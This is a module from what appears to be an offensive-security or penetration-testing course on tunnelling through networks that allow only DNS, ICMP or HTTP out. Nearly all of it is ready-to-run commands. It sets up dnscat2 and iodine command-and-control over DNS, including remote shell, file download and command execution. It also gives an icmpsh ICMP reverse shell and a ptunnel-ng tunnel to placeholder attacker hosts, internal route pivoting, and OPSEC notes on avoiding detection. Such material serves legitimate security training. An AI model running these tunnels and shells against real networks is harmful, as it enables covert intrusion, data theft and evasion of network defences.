Back to All Modules

DNS and Protocol-Specific Tunnels

#Overview

When only DNS, ICMP, or specific protocols are allowed outbound, protocol-specific tunnels exploit the permissive protocol to encapsulate arbitrary data. DNS tunnels are the most common because DNS is almost never blocked at the network edge.

#Protocol Selection Decision Tree

Only DNS egress available?
  YES --> dnscat2 or iodine
  |       |-- Need C2 features? --> dnscat2 (shell, file transfer)
  |       |-- Need speed? --> iodine (IP-over-DNS, faster)
  |
  NO --> Only ICMP egress?
        YES --> ptunnel-ng or icmpsh
        |       |-- Need reliable tunnel? --> ptunnel-ng (TCP over ICMP)
        |       |-- Need simple shell? --> icmpsh (ICMP reverse shell)
        |
        NO --> Only HTTP egress?
              YES --> See [Web Tunnels](web-tunnels.md) (Neo-reGeorg, Earthworm)
TEXT

#dnscat2 (Extended)

#Full Setup with Domain

# Step 1: Configure DNS
# Create an NS record pointing to your server:
# dnscat2.example.com NS <your_server_ip>

# Step 2: Start dnscat2 server
ruby dnscat2.rb dnscat2.example.com --secret=<secret_key>

# Step 3: Start dnscat2 client (on pivot)
./dnscat2 dnscat2.example.com --secret=<secret_key>

# Step 4: Use dnscat2 sessions
# In the server console:
window -l                     # List sessions
window -i 1                   # Interact with session 1
shell                         # Open a shell on the client
download <file>               # Download file from client
upload <file>                 # Upload file to client
exec <command>                # Execute command on client
BASH

#DNS Tunnel Performance Tuning

# Increase DNS query length (more data per request)
ruby dnscat2.rb dnscat2.example.com --max-16-bit-length=500

# Use CNAME records (larger payload than A records)
./dnscat2 dnscat2.example.com -e cn

# Use TXT records (even larger payloads)
ruby dnscat2.rb dnscat2.example.com --dns-type=TXT
BASH

#iodine (IP-over-DNS)

iodine provides a full IP tunnel over DNS, giving you a virtual network interface. It's faster than dnscat2 for data transfer because it uses a more efficient encoding.

# Install
apt install iodine

# Step 1: Start iodine server (attacker)
sudo iodined -f -c -P <password> 10.0.0.1 dnscat2.example.com
# 10.0.0.1 = IP for the server end of the tunnel
# Listens on DNS port 53 for the domain dnscat2.example.com

# Step 2: Start iodine client (pivot)
sudo iodine -f -P <password> <dns_server_ip> dnscat2.example.com
# Creates a tunnel interface (dns0) with IP 10.0.0.2

# Step 3: Verify the tunnel
ping 10.0.0.1
# The pivot can now reach 10.0.0.1 through DNS

# Step 4: Route traffic through the tunnel
# On the attacker, enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE

# On the pivot, add route through tunnel
ip route add 172.16.0.0/24 via 10.0.0.1 dev dns0
BASH

#iodine vs dnscat2

Featureiodinednscat2
TypeIP tunnel (network interface)C2 channel (shell, file transfer)
SpeedFaster (IP-over-DNS)Slower (C2 overhead)
Protocol supportAny (full IP tunnel)TCP only (port forwarding)
Setup complexityHigher (DNS server config)Lower (standalone)
Use caseNeed full network accessNeed C2 + shell access

#ICMP Tunnels

#ptunnel-ng (TCP over ICMP)

# Install
apt install ptunnel-ng

# Server (attacker) - listen for ICMP tunnel
sudo ptunnel-ng --receive --listen <attacker_ip>

# Client (pivot) - forward TCP through ICMP
sudo ptunnel-ng --send --proxy <attacker_ip> --dest 127.0.0.1:22

# This creates an ICMP tunnel that carries SSH
# Connect through the tunnel:
ssh -p 22 user@127.0.0.1
BASH

#icmpsh (ICMP Reverse Shell)

# Install
git clone https://github.com/inquisb/icmpsh.git
cd icmpsh

# Server (attacker) - listen for ICMP
python icmpsh_m.py <attacker_ip> <pivot_ip>

# Client (pivot) - ICMP reverse shell
icmpsh.exe -i <pivot_ip> -t <attacker_ip>

# Or on Linux:
./icmpsh -i <pivot_ip> -t <attacker_ip>
BASH

#HTTP Tunnel (httptunnel)

# Install
apt install httptunnel

# Server (attacker) - listen on port 80, forward to localhost:22
hts -F 127.0.0.1:22 80

# Client (pivot) - connect to attacker's HTTP tunnel
htc -F 2222 <attacker_ip>:80

# Now SSH through the HTTP tunnel
ssh -p 2222 user@127.0.0.1
BASH

#Common Pitfalls

  1. DNS tunnel speed: DNS tunnels are inherently slow (1-50 KB/s). Avoid large file transfers.
  2. DNS server load: Your authoritative DNS server handles all tunnel traffic. Don't overload it.
  3. ICMP rate limiting: Many networks rate-limit ICMP. Expect variable performance.
  4. iodine MTU: The DNS tunnel MTU is low (~500 bytes). Large packets fragment.
  5. Root required: Both iodine and ptunnel-ng require root on the client to create TUN/TAP interfaces.

#OPSEC Considerations

  • DNS tunnels generate unusually high DNS query volumes — detectable by DNS monitoring
  • iodine creates a visible TUN interface (dns0) that ip addr reveals
  • ICMP tunnels with ptunnel-ng create ICMP packets with TCP payload — detectable by payload analysis
  • dnscat2 uses a distinctive DNS query pattern that some DNS firewalls detect
  • Always use encrypted tunnels (dnscat2 with --secret, iodine with -P password)

#Cross-References